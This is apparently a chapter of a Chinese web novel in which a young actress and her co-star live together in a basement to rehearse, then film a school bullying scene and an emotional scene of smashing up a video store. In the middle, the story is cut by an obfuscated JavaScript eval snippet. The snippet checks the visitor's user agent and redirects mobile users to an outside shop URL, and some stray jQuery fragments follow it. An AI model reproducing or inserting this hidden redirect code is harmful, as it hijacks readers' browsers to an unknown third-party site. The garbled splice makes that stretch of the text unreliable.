“你今年十四，为什么在上初三？”
半地下室光线不好，书也不能读。为了打发时间，也为了拉近距离，李夕昭和薛璟求漫无目的闲聊。
“我跳了两级。”
薛璟求正坐在地上反复丢一个矿泉水瓶，看它能不能立在地上，听见这句话，瓶子就没接住：“你还跳过级？我听我们剧团的人说，你很小就开始拍戏了。还能顾得上学习？我要是成绩能有你一半好，我爸估计能把我供起来。”
李夕昭笑笑：“我跳级是演戏之前的事了。你是因为演戏成绩才不好的吗？家里很看重成绩？”
“我就是不擅长考试。上了大学以后又把心思全放在剧团里。我爸觉得我读电影系已经够丢人了，知道我还想当演员，就把生活费停了。我为了混口饭吃，在剧团什么活都干，搬布景、做道具，缺钱还去工地扛水泥。嗨，不提了。你学习这么好，爸妈一定很喜欢你吧？”
李夕昭看了他一会儿。薛璟求还在等她回答，脸上只有普通的羡慕，不像在故意试探。她说：“剧团的人没告诉你吗？我没有爸爸，我妈之前是个演员，后来丢下我跑了。导演写这个剧本，一部分还是被我的故事启发的。”
薛璟求不敢再扔矿泉水瓶了，他慢慢坐直。
“你是说，你妈妈是个，嗯，类型演员？”
李夕昭摇摇头：“她不算吧。只是拍了一部尺度比较大的片子。”
薛璟求手里的瓶子停了下来：“抱歉，我不知道。那你现在跟谁住？”
“我在邻居家住。”
薛璟求欲言又止。
李夕昭一眼看出他在想什么：“不用这么看我。我邻居家也是演员，家里条件挺好。我很小就拍戏接广告，不缺钱。”
薛璟求一个鲤鱼打挺就坐起来了：“真的？”
“真的。我过的比你好多了。”
薛璟求叹了口气，又躺下去：“白同情了。自从上大学以来，这是我过的最清闲的一周。不用卖力气挣钱，每天都能吃饱饭，晚上休息时间也长，舒服啊……”他的声音渐渐低下去。他就这么在地上睡着了。
李夕昭看看屋里，把床上的毯子扯下来给他铺上。
两个人每天不只要聊天，他们要在这里生活。李仓东的要求是，他再来的时候要看见“一对在半地下室相依为命多年的父女”。他们不仅排剧本上有的戏，也要把剧本上没有的日子过出来。
李仓东强调的只有一条，不许碰录像店冲突以后的内容。
薛璟求不理解：“后面的对手戏更多，为什么不排？”
“因为你们现在还不像父女。”李仓东说，“我要让你们真正像一对家人，再在摄像机前把这个家毁掉。”
李夕昭感觉这话怪可怕的。
她和薛璟求在地下室过了接近一个月，重复姜泰洙和恩秀的生活。姜泰洙每天收工回家，进门会先找吃的，恩秀就把他赶出去换鞋。恩秀的鞋子开了缝，姜泰洙会在煤油灯下用胶水给她粘上。两个人经常发生争执，但是吵架不过夜，因为屋子只有这么大，谁也没有地方可躲。他们渐渐习惯了地铁经过时的轰鸣声，能在短暂的沉默后自然地把话题接上。
等李仓东再次来验收，那场吃晚饭的戏只排了一遍。
6月1日，电影正式开机。
先拍学校的戏。
几个男生围在最后一排看录像盒。封面上的女人只穿了一件红色吊带裙，头发烫得蓬松，身体微微向后仰。
恩秀从门口进来，听见有人叫母亲的艺名。她没有停，照常走到自己的位置，把书包放下。
领头的男生故意提高声音：“我哥以前跟姜泰洙在一个工地干活。他说，尹惠罗就是姜恩秀她妈。”
另一个人盯着封面看了一会儿：“你别说，真的挺像。”
录像盒沿着一排课桌传过来，最后被放到恩秀面前。周围的人都在看她，想从她脸上找到答案。
恩秀拿起录像盒。封面上的脸比她记忆里的母亲年轻，也更加陌生。她把盒子翻到背面，没有看见发行公司的名字，只在角落里找到录像店贴上的标签。
“上溪录像社。”她轻声念了一遍。
“你妈好看吗？”男生问。
恩秀抬起头：“比你妈好看。”
教室里响起夸张的哄笑声。男生恼羞成怒，伸手抢录像盒。恩秀已经把它塞进书包。老师在这时走进来，男生只好暂时回到后排。
放学以后，恩秀刚走出教学楼，就被几个人堵在楼梯口。她拔腿就要逃跑，但有人从背后把她的书包扯下来，扔给另一个人。对方拉开拉链，把里面的东西全倒在地上。课本、作业本和文具滚得到处都是。录像盒也掉了出来。
领头的男生把录像盒捡起来，在她面前晃了晃：“你这么生气干什么？你妈妈拍出来，不就是给别人看的吗？”
恩秀扑过去抢。男生用力推了她一把，她跌到楼梯边的水泥地上。手掌被石子划破，血很快渗了出来。
几个人站在旁边，等着看她哭。
镜头推近。恩秀的胸口还在急促起伏，沾着灰的手指紧紧蜷在一起，因为握得太紧而发抖，眼睛里却一点泪花也没有。
她自己从地上爬起来，没有看他们，也没有擦手上的血。她低下头，把散落的书一本本捡回书包。作业本上沾着土，她拍了几下，也放了进去。
几个男生面面相觑。领头的人啧了一声，把录像带扔到她脚边：“我们看过了，你自己回家慢慢看吧。”
恩秀捡起录像带，背上书包，从几个人中间走过去，没有回头。
这段戏李夕昭没什么问题，问题基本出在群演身上。几个男生要么不忍心下手推她，要么看她坐在地上就流露出可怜的神色。李仓东不厌其烦，一直拍到镜头里哪怕边角扫到的每一个人都在戏里，才算过。
学校的戏很快拍完，剧组又转场到上溪录像社。
恩秀到的时候，店里已经没有客人。裴成浩坐在柜台后面清点收入，看见一个穿校服的女孩进来，起初没有在意。等恩秀把录像盒放在柜台上，他才慢慢抬起头。
恩秀问：“这盘录像是从哪里来的？”
裴成浩看看封面，又看看她的脸，很快认出了她：“你是尹惠罗的女儿？”
“母带在哪里？”
裴成浩没有回答。他把桌上的钱拢进抽屉，反问：“你来这里，你爸爸知道吗？”
恩秀没说话。
裴成浩拿起电话，熟练地拨出一个号码：“老姜，你女儿找到店里来了。你自己过来把人领走。”
恩秀站在那里，看着他放
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949198|214125||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下电话。
“你认识我爸爸？”
“要不然呢？”裴成浩觉得她的问题可笑，“这种片子那么多，尹惠罗又不火。这可不是我去进的货，是你爸主动拿带子来翻录的，现在租出去的带子他也都拿分成。你们父女俩拿了这么久的钱，你现在来跟我装什么？”
恩秀的拳又攥紧了。她的指甲嵌进伤口里，但是她感觉不到疼。裴成浩看她不动，叫她也没反应，摇摇头，自己继续低头数钱。
柜台后面的门没有关严。门缝里露出两台翻录机，其中一台还在运转。恩秀趁裴成浩不注意，迅速跑了进去。她拔掉翻录机的电源，把录像带拿出来。裴成浩追到门口，沉下脸：“把我的东西放下。你爸马上就到，你们父女俩有什么事自己回家解决。”
恩秀环顾这间小屋。一排排架子上有太多相似的女人。她们使用不同的艺名，穿不同颜色的衣服，脸上却带着几乎相同的笑容。她看到母亲的艺名出现在十几盒录像带上，纸箱里还有尚未贴上封面的空盒。
即使找到最初的那盘录像，也已经没有用了。
恩秀在原地站了一会儿，忽然抓起架子上的录像带，用力砸向地面。
塑料外壳裂开，黑色的磁带滚了出来。她又抓起一盘，接着是第三盘、第四盘。裴成浩扑上来阻止，她拼命挣扎，两个人撞上货架。录像盒接连掉落，母亲的脸铺得满地都是。
恩秀踩碎一只塑料盒，扯出里面的磁带。黑色的带子越扯越长，却怎么也扯不断。她用力地、无声地撕扯。裴成浩上来抱住她，被她咬了一口，吃痛松开手，大骂要让她爸爸赔钱。
恩秀充耳不闻。她把翻录机推到地上，又抱起那摞尚未贴标签的录像带，全部砸向墙壁。直到再也找不到可以砸的东西，她才站在满地狼藉中，大口喘气。
摄影机重新对准李夕昭的脸，她已经泪流满面。
姜泰洙赶到时，看见的就是这一幕。
他站在门口，先看了看被砸坏的翻录机，又瞥了一眼满脸泪水的女儿。裴成浩冲上来抓住他的衣领，要求他赔偿全部损失。
恩秀一直盯着父亲，而姜泰洙始终没有与她对视，也不和裴成浩争辩，他只说了一句：“我会赔。”
恩秀脸上的眼泪还没有干，眼神里的祈求逐渐褪去。她转过头自己用手抹眼泪，不再看向父亲。
这是一段完整的情绪戏。李仓东先用一个长镜头，从恩秀走进录像店，一直拍到姜泰洙赶来。储物间恢复一次要花将近半个小时，完整的毁坏戏只拍了三遍。之后再拆开补拍翻录机、录像带和近景特写。剧情里的几分钟，断断续续拍了一天。李夕昭记不清自己哭了多少次，只记得最后一条结束的时候，她的手还在发抖。
李仓东终于喊了“过”。
李夕昭松开手里的半截磁带，靠着货架往下滑。宋康浩过来扶她，自己没站稳被带到了地上，发出一声痛叫。
“哎一古。”他龇牙咧嘴地捂住后腰，“你刚才撞我的时候也这么有力气。”
李夕昭还没完全从戏里出来，只抬起红肿的眼睛看他。
宋康浩立刻改口：“撞得好。很有真实感。”
薛璟求走过来，把李夕昭从地上拽了起来。
录像店的戏拍完了。接下来，他们该回到地下室了。